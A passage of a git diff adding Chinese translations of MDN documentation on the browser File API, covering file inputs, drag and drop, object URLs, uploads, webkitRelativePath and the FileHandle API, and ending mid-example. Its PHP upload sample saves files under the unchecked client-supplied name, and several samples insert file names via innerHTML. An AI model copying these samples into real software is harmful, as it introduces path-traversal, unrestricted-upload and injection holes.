+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* now you can work with the file list */
+}
+
+ +

注意在这个例子里,handleFiles() 方法本身是一个事件处理器,不像之前的例子中,它被事件处理器调用然后传递给它一个参数。

+ +

获取被选择文件的信息

+ +

DOM 提供 {{ domxref("FileList") }} 对象列出了用户选择的所有文件,每一个文件被指定为一个 {{ domxref("File") }} 对象。你可以通过检查文件列表 {{ domxref("FileList") }} 的 length 属性来确定用户选择了多少个文件:

+ +
const numFiles = files.length;
+
+ +

可以像数组一样简单地访问文件列表来检索各个 {{ domxref("File") }} 对象:

+ +
for (let i = 0, numFiles = files.length; i < numFiles; i++) {
+  const file = files[i];
+  // ...
+}
+ +

这个循环遍历了文件列表里的所有文件。

+ +

 {{ domxref("File") }} 对象提供了三个属性,包含了文件的有用信息。

+ +
+
name
+
文件名称,只读字符串。只包含文件名,不包含任何路径信息。
+
size
+
以字节数为单位的文件大小,只读的64位整数。
+
type
+
文件的 MIME 类型,只读字符串,当类型不能确定时为 ""
+
+ +

示例:显示文件大小

+ +

下面的例子展示了 size 属性的一种可能用法:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8">
+<title>File(s) size</title>
+<script>
+function updateSize() {
+  let nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (let nFileId = 0; nFileId < nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  let sOutput = nBytes + " bytes";
+  // optional code for multiples approximation
+  const aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"];
+  for (nMultiple = 0, nApprox = nBytes / 1024; nApprox > 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // end of optional code
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+</script>
+</head>
+
+<body onload="updateSize()">
+  <form name="uploadForm">
+    <div>
+      <input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple>
+      selected files: <span id="fileNum">0</span>;
+      total size: <span id="fileSize">0</span>
+    </div>
+    <div><input type="submit" value="Send file"></div>
+  </form>
+</body>
+</html>
+ +

通过 click() 方法使用隐藏的 file input 元素

+ +

你可以隐藏公认难看的 file {{ HTMLElement("input") }} 元素并显示你自己的界面来打开文件选择器,然后显示哪个或哪些文件被用户选中了。你可以通过给 input 元素添加 display:none 的样式,再调用 {{HTMLElement("input") }} 元素的 {{domxref("element.click","click()") }} 方法来实现。

+ +

考虑这段HTML:

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<button id="fileSelect">Select some files</button>
+
+ +

处理 click 事件的代码类似于这样:

+ +
const fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+}, false);
+
+ +

你可以给这个用来打开文件选择器的新按钮添加任何你想要的样式。

+ +

使用 label 元素来触发一个隐藏的 file input 元素

+ +

允许在不使用 JavaScript(click() 方法)来打开文件选择器,可以使用 {{ HTMLElement("label") }} 元素。注意在这种情况下,input 元素不能使用 display: none(或 visibility: hidden)隐藏,否则 label 将无法通过键盘访问。使用 visually-hidden technique 作为替代。

+ +

考虑这段HTML:

+ +
<input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden">
+<label for="fileElem">Select some files</label>
+ +

和这段CSS:

+ +
.visually-hidden {
+  position: absolute !important;
+  height: 1px;
+  width: 1px;
+  overflow: hidden;
+  clip: rect(1px, 1px, 1px, 1px);
+}
+
+/* Separate rule for compatibility, :focus-within is required on modern Firefox and Chrome */
+input.visually-hidden:focus + label {
+  outline: thin dotted;
+}
+input.visually-hidden:focus-within + label {
+  outline: thin dotted;
+}
+
+ +

这里不需要添加任何 JavaScript 代码来调用fileElem.click(),另外,这时你也可以给 label 元素添加你想要的样式。您需要在其 label 上提供隐藏 input 字段的焦点状态的视觉提示,比如上面用的轮廓,或者背景颜色或边框阴影。(截至编写时为止,Firefox 不显示 <input type="file"> 元素的视觉提示。)

+ +

使用拖放来选择文件

+ +

你还可以让用户将文件拖拽到你的网页应用中。

+ +

第一步是创建一个drop区域。虽然你网页内容的哪部分接受拖放取决于你的应用设计,但是使一个元素接收drop事件是很容易的。

+ +
let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+
+
+ +

在这个例子中,我们将ID为dropbox的元素变为了我们的drop区域。这是通过给元素添加{{event('dragenter')}}, {{event('dragover')}}, 和{{event('drop')}} 事件监听器实现的。

+ +

我们其实并不需要对dragenter and dragover 事件进行处理,所以这些函数都很简单。他们只需要包括禁止事件传播和阻止默认事件:

+ +
function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+
+ +

真正的奥妙在drop()这个函数中:

+ +
function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+
+ +

这里,我们从事件中获取到了dataTransfer 这个域,然后从中得到文件列表,再将它们传递给handleFiles()函数。在这之后,处理文件的方法和用input元素或者用拖拽就是一样的了。

+ +

例子:显示用户选择的图片的缩略图

+ +

比方说,你正在开发一个炫酷的下一代图片分享网站,并且想使用HTML5来展示用户在实际上传之前的图片的缩略图。你可以像我们之前讨论的那样创建自己的input元素或者drop区域,然后对他们使用一个回调函数,比如下面的handleFiles()

+ +
function handleFiles(files) {
+  for (var i = 0; i < files.length; i++) {
+    var file = files[i];
+    var imageType = /^image\//;
+
+    if (!imageType.test(file.type)) {
+      continue;
+    }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // 假设"preview"就是用来显示内容的div
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+
+ +

这里我们循环处理用户选择的文件,看每个文件的type属性是不是image(通过正则表达式来匹配MIME类型字符串模式"image/*")。 对每个文件而言,如果它是image,我们就创建一个新的img元素。可以使用css来创建一个漂亮的边框或阴影来显示图片的具体大小,在这儿就不具体做了。

+ +

为了在DOM树中更容易地找到他们,每个图片元素都被添加了一个名为obj的CSS类。我们还给每个图片添加了file属性使它具有 {{ domxref("File") }};这样做可以让我们拿到稍后需要实际上传的图片。我们在预览页中使用 {{ domxref("Node.appendChild()") }}来添加新的缩略图。

+ +

接下来,我们创建了{{ domxref("FileReader") }}来处理异步的图片加载并把他赋给img元素。在创建一个新的 FileReader对象后,我们新建了它的onload 函数,然后调用readAsDataURL()函数开始后台读取文件。当整个图片文件的内容都被全部加载完后,它们被转换成了一个被传递到onload回调函数的data:URL。我们再执行常规操作将img元素的src属性设置为刚刚加载完毕的URL,使得图像可以显示在用户屏幕上的缩略图中。

+ +

使用对象 URL

+ +

Gecko 2.0 {{ geckoRelease("2.0") }}引入了对DOM {{ domxref("window.URL.createObjectURL()") }} 和 {{ domxref("window.URL.revokeObjectURL()") }} 方法的支持。这使得你可以创建用于引用任何数据的简单URL字符串,也可以引用一个包括用户电脑上的本地文件的DOM {{ domxref("File") }}对象。

+ +

当你需要在HTML中通过URL来引用一个{{ domxref("File") }}对象时,你可以创建一个对象URL,就像这样:

+ +
var objectURL = window.URL.createObjectURL(fileObj);
+
+ +

这个对象URL是一个标识{{ domxref("File") }}对象的字符串。每次你调用{{ domxref("window.URL.createObjectURL()") }},就会产生一个唯一的对象URL,即使是你对一个已创建了对象URL的文件再次创建一个对象URL。每个创建了的对象URL必须要释放。当文档关闭时,它们会自动被释放。如果你的网页要动态使用它们,你需要显式调用 {{ domxref("window.URL.revokeObjectURL()") }}来释放它们:

+ +
window.URL.revokeObjectURL(objectURL);
+
+ +

示例:使用对象URL来显示图片

+ +

这个例子使用对象URL来显示图片缩略图。另外,示例也会显示文件名和文件大小等其他文件信息。

+ +

显示接口的HTML类似于这样:

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<a href="#" id="fileSelect">Select some files</a>
+<div id="fileList">
+  <p>No files selected!</p>
+</div>
+
+ +

这确定我们的文件 {{ HTMLElement("input") }} 元素显示为一个可以调用文件选择器的链接(我们隐藏了文件输入元素来阻止显示用户不友好的界面)。这个在 {{ anch("Using hidden file input elements using the click() method") }}节已经说明了这种调用文件选择器的方法。

+ +

handleFiles() 方法如下:

+ +
window.URL = window.URL || window.webkitURL;
+
+var fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+    if (fileElem) {
+        fileElem.click();
+    }
+    e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+function handleFiles(files) {
+    if (!files.length) {
+        fileList.innerHTML = "<p>No files selected!</p>";
+    } else {
+        fileList.innerHTML = "";
+        var list = document.createElement("ul");
+        fileList.appendChild(list);
+        for (var i = 0; i < files.length; i++) {
+            var li = document.createElement("li");
+            list.appendChild(li);
+            var img = document.createElement("img");
+            img.src = window.URL.createObjectURL(files[i]);
+            img.height = 60;
+            img.onload = function () {
+                window.URL.revokeObjectURL(this.src);
+            }
+            li.appendChild(img);
+            var info = document.createElement("span");
+            info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+            li.appendChild(info);
+        }
+    }
+}
+ +

首先,获取ID为 fileList 的 {{ HTMLElement("div") }} 。这个区块里我们会插入我们的文件列表,包括缩略图。

+ +

如果传入 handleFiles() 的 {{ domxref("FileList") }} 对象值为 null 时,我们只要简单将这块的内部HTML为显示“No files selected!”。否则,我们就需要像下面这样编写我们的文件列表:

+ +
    +
  1. 创建一个无序列表 ({{ HTMLElement("ul") }}) 元素。
  2. +
  3. 通过调用列表的{{ domxref("Node.appendChild()") }}方法来将新的列表元素插入到 {{ HTMLElement("div") }}块。
  4. +
  5. 遍历文件集合 {{ domxref("FileList") }}(即files)中的每个 {{ domxref("File") }}: +
      +
    1. 创建一个新的列表项({{ HTMLElement("li") }})元素并插入到列表中。
    2. +
    3. 创建一个新的图片({{ HTMLElement("img") }})元素。
    4. +
    5. 设置图片的源为一个新的指代文件的对象URL,使用{{ domxref("window.URL.createObjectURL()") }}来创建blob URL。
    6. +
    7. 设置图片的高度为60像素。
    8. +
    9. 设置图片的load事件处理器来释放对象URL,当图片加载完成之后对象URL就不再需要了。这个可以通过调用{{ domxref("window.URL.revokeObjectURL()") }}方法并且传递 img.src中的对象URL字符串来实现。
    10. +
    11. 将新的列表项添加到列表中。
    12. +
    +
  6. +
+ +

这是上面代码的一个在线示例:

+ +

{{EmbedLiveSample('示例:使用对象URL来显示图片', '100%', '300px')}}

+ +

例子:上传一个用户选择的文件

+ +

另一件您可能想要做的事是让用户将选定的一个或多个文件(例如前一个示例中选择的图像)上传到服务器。这用异步可以很容易地完成。

+ +

创建上传任务

+ +

继续前面示例中构建缩略图的代码,回想一下每个缩略图图像都在CSS类obj中,并且file属性中附加了相应的 {{ domxref("File") }} 。这允许我们使用 {{ domxref("Document.querySelectorAll()") }} 选择用户决定上传的所有图像,如下所示:

+ +
function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i < imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+
+ +

第2行获取了文档中所有CSS类为obj的元素的 {{ domxref("NodeList") }},命名为imgs。在我们的例子中,这些是包含所有图像缩略图的列表。有了这个列表,遍历并为每一项创建一个新的FileUpload实例就很简单了。每个实例都可以处理相应文件的上传。

+ +

Handling the upload process for a file处理文件的上传过程

+ +

FileUpload函数接受两个输入:一个image元素和一个包含图像数据的文件。

+ +
function FileUpload(img, file) {
+  var reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  var xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  var self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          var percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          var canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+
+ +

上面的FileUpload() 函数创建了一个“加载中”指示器,用于显示进度信息,然后创建了一个 {{ domxref("XMLHttpRequest") }} 来处理上传数据。

+ +

实际传输数据前,采取了几道准备步骤:

+ +
    +
  1. XMLHttpRequestprogress监听器被设为将加载指示器更新为新的百分比信息,这样随着上传进行,指示器会显示最新的信息。
  2. +
  3. XMLHttpRequestload事件监听器被设为将加载指示器的进度信息更新为100%,以保证进度显示确实达到了100%(以防在上传过程中出现粒度误差)。然后它移除了已经不再需要的加载指示器。这样上传一完成指示器就会消失。
  4. +
  5. 上传图像文件的请求,是由调用XMLHttpRequestopen()函数发送POST请求完成的。
  6. +
  7. 上传的MIME类型是通过调用XMLHttpRequestoverrideMimeType()函数来设置的。这个例子中,我们使用通用MIME类型。是否需要设置MIME类型取决于你的具体使用情况。
  8. +
  9. FileReader对象用于将文件转换为二进制字符串。
  10. +
  11. 最后,当内容被加载时,会调用XMLHttpRequestsend()函数来上传文件内容。
  12. +
+ +
提示:上面例子中使用的非标准的sendAsBinary方法在Gecko 31 {{ geckoRelease(31) }} 中已废弃。请使用标准的send(Blob data)方法代替。
+ +

异步处理文件上传

+ +

这个例子演示了如何异步上传文件,在服务器端使用了php、在客户端使用了JavaScript。

+ +
<?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?><!DOCTYPE html>
+<html>
+<head>
+    <title>dnd binary upload</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <script type="application/javascript">
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 && xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i<filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    </script>
+</head>
+<body>
+    <div>
+        <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div>
+    </div>
+</body>
+</html>
+
+ +

例子:用对象URL显示PDF

+ +

对象URL可以用于image之外的其它东西!它可以用于显示嵌入的PDF文件或任何其它浏览器能显示的资源。

+ +

在Firefox中,要让PDF嵌入式地显示在iframe中(而不是作为下载的文件弹出),必须将pdfjs.disabled设为false {{non-standard_inline()}}.

+ +
<iframe id="viewer">
+
+ +

这是src属性的改动:

+ +
const obj_url = window.URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);
+
+ +

例子:将对象URL用于其它文件类型

+ +

你可以用同样方式操作其它格式的文件。这是预览上传的视频的方法:

+ +
const video = document.getElementById('video');
+const obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注解
{{SpecName('HTML WHATWG', 'number-state.html#concept-input-type-file-selected', 'File upload state')}}{{Spec2('HTML WHATWG')}}
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/file/webkitrelativepath/index.html b/files/zh-cn/web/api/file/webkitrelativepath/index.html new file mode 100644 index 0000000000..e8e86bc53c --- /dev/null +++ b/files/zh-cn/web/api/file/webkitrelativepath/index.html @@ -0,0 +1,126 @@ +--- +title: File.webkitRelativePath +slug: Web/API/File/webkitRelativePath +translation_of: Web/API/File/webkitRelativePath +--- +

{{APIRef("File API")}}{{non-standard_header}}

+ +

File.webkitRelativePath 是只读属性,包含 {{domxref("USVString")}},它规定了文件的路径,相对于用户在 {{HTMLElement("input")}} 元素中选择的目录,这个元素设置了 {{htmlattrxref("webkitdirectory", "input")}} 属性。

+ +

语法

+ +
 relativePath = File.webkitRelativePath
+ +

+ +

{{domxref("USVString")}} 包含文件路径,相对于用户所选的祖先目录。

+ +

示例

+ +

这个示例展示了目录选择器,它让用户选择一个或多个目录。{{event("change")}} 事件触发时,所选目录包含的所有文件的列表,会生成并展示,带有所选目录的层次结构。

+ +

HTML 内容

+ +
<input type="file" id="filepicker" name="fileList" webkitdirectory multiple />
+<ul id="listing"></ul>
+ +

JavaScript 内容

+ +
document.getElementById("filepicker").addEventListener("change", function(event) {
+  let output = document.getElementById("listing");
+  let files = event.target.files;
+
+  for (let i=0; i<files.length; i++) {
+    let item = document.createElement("li");
+    item.innerHTML = files[i].webkitRelativePath;
+    output.appendChild(item);
+  };
+}, false);
+
+ +

结果

+ +

{{ EmbedLiveSample('Example') }}

+ +

特别提醒:假设文件路径是 C:\f1\f2\f3\file.txt, 用户选择的是f1 文件夹,则Chrome、Firefox、Edge 都能正确返回  f2/f3/file.txt值。而国产的QQ浏览器、360浏览器、UC浏览器、搜狗浏览器都只能返回 f3/file.txt。也就是国产浏览器调用webkitRelativePath返回的结果都不会是你希望得到的路径,请注意使用时的细微差距。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('File System API', '#dom-file-webkitrelativepath', 'webkitRelativePath') }}{{ Spec2('File System API') }}Initial specification.
+ +

这个 API 没有官方的 W3C 或者 WHATWG 规范。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop(49) }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo }}0.16 {{ property_prefix("webkit") }}{{ CompatGeckoMobile(49) }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/firefox_support/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/firefox_support/index.html new file mode 100644 index 0000000000..2dcf8c3cad --- /dev/null +++ b/files/zh-cn/web/api/file_and_directory_entries_api/firefox_support/index.html @@ -0,0 +1,98 @@ +--- +title: File and Directory Entries API support in Firefox +slug: Web/API/File_and_Directory_Entries_API/Firefox_support +translation_of: Web/API/File_and_Directory_Entries_API/Firefox_support +--- +
+

{{DefaultAPISidebar("File System API")}} {{Non-standard_header}}

+ +

创建原始文件系统API是为了让浏览器实现对访问用户存储设备上沙箱虚拟文件系统的支持。标准化规范的工作早在2012年就被放弃了,但到那时,谷歌Chrome包含了自己的API实现。随着时间的推移,许多流行的站点和Web应用程序开始使用它,通常不提供任何退回到标准API的方法,甚至在使用之前也没有检查API是否可用。相反,Mozilla选择实现其他api,这些api可以用来解决许多相同的问题,比如IndexedDB;查看博客文章,为什么Firefox中没有文件系统API ?更多的见解。

+
+ +

 

+ +

这导致许多流行的网站无法在Chrome以外的浏览器上正常运行。因此,我们尝试创建一个规范,提供可以达成共识的谷歌API的特性。结果是文件和目录API条目。Chrome提供的这个API子集还没有完全指定;但是,出于web兼容性的原因,决定在Firefox中实现API的一个子集;这是在Firefox 50中引入的。

+ +

本文描述了文件和目录条目API的Firefox实现与其他实现和/或规范的不同之处。

+ +

Chrome 规范偏差

+ +

最大的兼容性问题仍然存在,Chrome仍然使用旧的名称为许多接口的API,因为他们实现了一个相关的,但不同的规范:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范名称Google Chrome 使用的名称
FileSystemDirectoryEntryDirectoryEntry
FileSystemDirectoryEntrySyncDirectoryEntrySync
FileSystemDirectoryReaderDirectoryReader
FileSystemDirectoryReaderSyncDirectoryReaderSync
FileSystemEntryEntry
FileSystemEntrySyncEntrySync
FileSystemFileEntryFileEntry
FileSystemFileEntrySyncFileEntrySync
+ +

请确保在代码中考虑到这一点,允许使用这两个名称。希望Chrome能很快更新,使用新的名字!

+ +

为了确保你的代码可以在Chrome和其他浏览器上运行,你可以包括如下代码:

+ +
var FileSystemDirectoryEntry = window.FileSystemDirectoryEntry || window.DirectoryEntry;
+var FileSystemEntry = window.FileSystemEntry || window.Entry;
+
+ +

Firefox 中的限制

+ +

接下来,让我们看看API的Firefox实现的局限性。概括地说,这些限制可以概括如下:

+ + + +

另请参阅

+ + diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..1b2cecb291 --- /dev/null +++ b/files/zh-cn/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,134 @@ +--- +title: File and Directory Entries API +slug: Web/API/File_and_Directory_Entries_API +tags: + - API + - File + - Files + - 参考 + - 文件 + - 非标准 +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

+ +

文件与目录条目 API 模拟一个 web 应用可以导航和访问的本地文件系统。你在虚拟的沙箱文件系统中可以开发一个读、写、创建文件或者目录的应用。

+ +
+

因为这是一个非标准 API,它的规范目前还没有在标准的轨道上,所以要记住,并不是所有的浏览器都实现了它,而且那些实现了的浏览器可能只实现了它的一小部分。有关详细信息,请查看{{anch("浏览器兼容性")}}部分。

+
+ +

根据您希望的是异步行为还是同步行为,存在两个非常相似的 API。同步 API 可在 {{domxref("Worker")}} 中使用,并将返回所需的值。异步 API 不会阻塞和函数,API不会返回值;相反,您将需要提供一个回调函数,以便在响应到达时处理它。

+ +
+

Firefox 实现的文件与目录条目 API 非常有限;不支持创建文件。仅用于访问用户在 file {{HTMLElement("input")}} 元素中选择的文件(也请参阅 {{domxref("HTMLInputElement")}} 中选择的文件),或使用拖放将文件或目录提供给 Web 站点或应用程序时。Firefox 也没有实现同步 API。仔细检查您使用的 API 的任何部分的浏览器兼容性,并查看 Firefox 中文件与目录条目 API 支持的更多细节。

+
+ +

访问文件系统

+ +

有两种方法可以访问当前规范草案中定义的文件系统:

+ + + +

异步 API

+ +

大多数操作都应该使用异步API,以防止在主线程上使用文件系统访问时阻塞整个浏览器。它包括以下接口:

+ +
+
{{domxref("FileSystem")}}
+
表示文件系统。
+
{{domxref("FileSystemEntry")}}
+
表示文件系统中单个条目的基本接口。这是由表示文件或目录的其他接口实现的。
+
{{domxref("FileSystemFileEntry")}}
+
表示文件系统中的单个文件。
+
{{domxref("FileSystemDirectoryEntry")}}
+
表示文件系统中的单个目录。
+
{{domxref("FileSystemDirectoryReader")}}
+
该接口通过调用 {{domxref("FileSystemDirectoryEntry.createReader()")}} 创建,提供了允许读取目录内容的功能。
+
{{domxref("FileSystemFlags")}}
+
定义一组值,这些值用于在调用文件和目录API中的某些方法时指定选项标志。
+
{{DOMxRef("FileError")}} {{Obsolete_Inline}}
+
表示由异步文件系统调用生成的错误。
+
+ +

还有两个全局函数(目前不属于规范的一部分,仅在 Google Chrome 中被实现)。它们在 {{domxref("Window")}} 对象上可用,并在{{domxref("LocalFileSystem")}}: requestFileSystem()resolveLocalFileSystemURL() 中实现。

+ +

同步API

+ +

同步 API 应该只用于 {{domxref("Worker")}} 中;在执行完毕前,这些调用会阻塞运行,并且只会简单地返回结果,而不是使用回调。在主线程上使用它们会阻塞整个浏览器,这很不明智。否则,下面的接口将镜像来自异步 API 的接口。

+ +
+
{{domxref("FileSystemSync")}}
+
表示文件系统。
+
{{domxref("FileSystemEntrySync")}}
+
表示文件系统中单个条目的基本接口。这是由表示文件或目录的其他接口实现的。{{domxref("EntrySync")}}
+
{{domxref("FileSystemFileEntrySync")}}
+
表示文件系统中的单个文件。
+
{{domxref("FileSystemDirectoryEntrySync")}}
+
表示文件系统中的单个目录。
+
{{domxref("FileSystemDirectoryReaderSync")}}
+
该接口通过调用 {{domxref("FileSystemDirectoryEntrySync.createReader()")}} 创建,提供了允许读取目录内容的功能。
+
{{DOMxRef("FileException")}} {{Obsolete_Inline}}
+
Represents an error which is generated by synchronous file system calls.
+
+ +

还有两个全局函数(目前不属于规范的一部分,仅在 Google Chrome 中被实现)。在 {{domxref("LocalFileSystemSync")}}: requestFileSystemSync()resolveLocalFileSystemSyncURL() 中实现。

+ +

其他接口

+ +
+
{{domxref("LocalFileSystem")}}
+
使您能够访问沙盒文件系统。
+
{{domxref("LocalFileSystemSync")}}
+
+
{{domxref("LockedFile")}}
+
提供处理具有所有必要锁的给定文件的工具。
+
{{domxref("Metadata")}}{{experimental_inline}}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

此 API 没有正式的 W3C 或 WHATWG 规范。

+ +

浏览器兼容性

+ +

FileSystem

+ + + +

{{Compat("api.FileSystem")}}

+ +

FileSystemSync 属性

+ + + +

{{Compat("api.FileSystemSync")}}

+ +

Firefox 50 中引入了对文件与目录条目 API 的部分支持。在使用各个接口和方法之前,一定要检查它们的兼容性表,确保它们得到支持。将 about:config 中的 dom.webkitBlink.filesystem 值设为 false 可禁用该 API。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/file_handle_api/index.html b/files/zh-cn/web/api/file_handle_api/index.html new file mode 100644 index 0000000000..84a22d51e6 --- /dev/null +++ b/files/zh-cn/web/api/file_handle_api/index.html @@ -0,0 +1,284 @@ +--- +title: FileHandle API +slug: Web/API/File_Handle_API +translation_of: Web/API/File_Handle_API +--- +

{{non-standard_header}}

+ +

FileHandle API允许处理文件,包括创建文件和修改其内容(unlike the File API)。由于通过该API操作的文件可以物理存储在设备上,因此编辑部分使用基于回合的锁定机制,以避免出现种族问题。

+ +

API概述

+ +

该API基于以下接口:

+ + + +

它还与File API,尤其是 {{domxref("File")}} 和{{domxref("Blob")}} 接口具有连接。

+ +

Basic operations

+ +

创建文件句柄

+ +

因为目的是允许通过IndexedDB存储文件,所以创建{{domxref(“ FileHandle”)}}实例需要IndexedDB Database

+ +
+
var IDBReq = indexedDB.open("myFileStorageDataBase");
+
+IDBReq.onsuccess = function(){
+  var DB = this.result;
+  var buildHandle = DB.mozCreateFileHandle("test.txt", "plain/text");
+
+  buildHandle.onsuccess = function(){
+    var myFileHandle = this.result;
+    console.log('handle', myFileHandle);
+  };
+};
+
+
+ +

{{domxref("IDBDatabase.mozCreateFileHandle","mozCreateFileHandle()")}}接受两个参数:名称和可选类型。 这两个都是描述性的,数据库不使用。 但是,它们对于{{domxref("FileHandle")}}对象很重要,因为它可以生成{{domxref("File")}}对象,这些对象继承自己的{{domxref("File.name","name")}}和{{domxref("File.type","type")}}的值。 就是说,由于名称与任何实际文件名都不匹配,因此它可以是一个空字符串,甚至不必是唯一的。

+ +
+

Note: the above code only creates a "temporary file" that exists only while you hold the {{domxref("FileHandle")}} instance. If you want a file to survive a page refresh/app relaunch, you need to store the handle in a more permanent location, like the database itself. See {{Anch("File storage")}} below to learn more about this.

+
+ +

执行读写操作

+ +

要在已处理的文件中进行读取或写入,需要获取{{domxref("LockedFile")}}。 {{domxref("FileHandle.open()")}} 方法提供了这样的对象,该对象可以是readonly的也可以是readwrite的。 对readonly{{domxref("LockedFile")}} 对象执行写操作的任何尝试都将失败。

+ +

Writing

+ +

There are three possible writing operations on a locked file:

+ + + +
// Get a LockedFile object from the handle
+var myFile = myFileHandle.open('readwrite');
+
+// Start a writing operation
+var writing = myFile.append('Some content');
+
+writing.onsuccess = function () {
+  console.log('Writing operation successful');
+}
+
+writing.onerror = function () {
+  console.log('Something goes wrong in the writing process: ' + this.error);
+}
+
+ +

Reading

+ +

可以直接写入{{domxref("LockedFile")}} 对象的内容,而无需使用中间的{{domxref("File")}}对象和 {{domxref("FileReader")}}对象。 {{domxref("LockedFile")}}接口提供了{{domxref("LockedFile.readAsText","readAsText")}}方法和{{domxref("LockedFile.readAsArrayBuffer","readAsArrayBuffer")}}方法 。

+ +

这两种方法期望一个大小来指示必须从{{domxref("LockedFile.location")}}字节开始读取多少个字节。

+ +

要读取整个文件,需要知道其大小。 可以通过{{domxref("LockedFile.getMetadata()")}}方法来检索此信息(及其最后修改日期)。

+ +
// Get a LockedFile object from the handle
+var myFile = myFileHandle.open('readwrite');
+
+// Retrieve the size of the file
+var getmeta = myFile.getMetadata();
+
+getmeta.onsuccess = function () {
+  var size = this.result.size;
+
+  // The reading operation will start with the byte at index 0 in the file
+  myFile.location = 0;
+
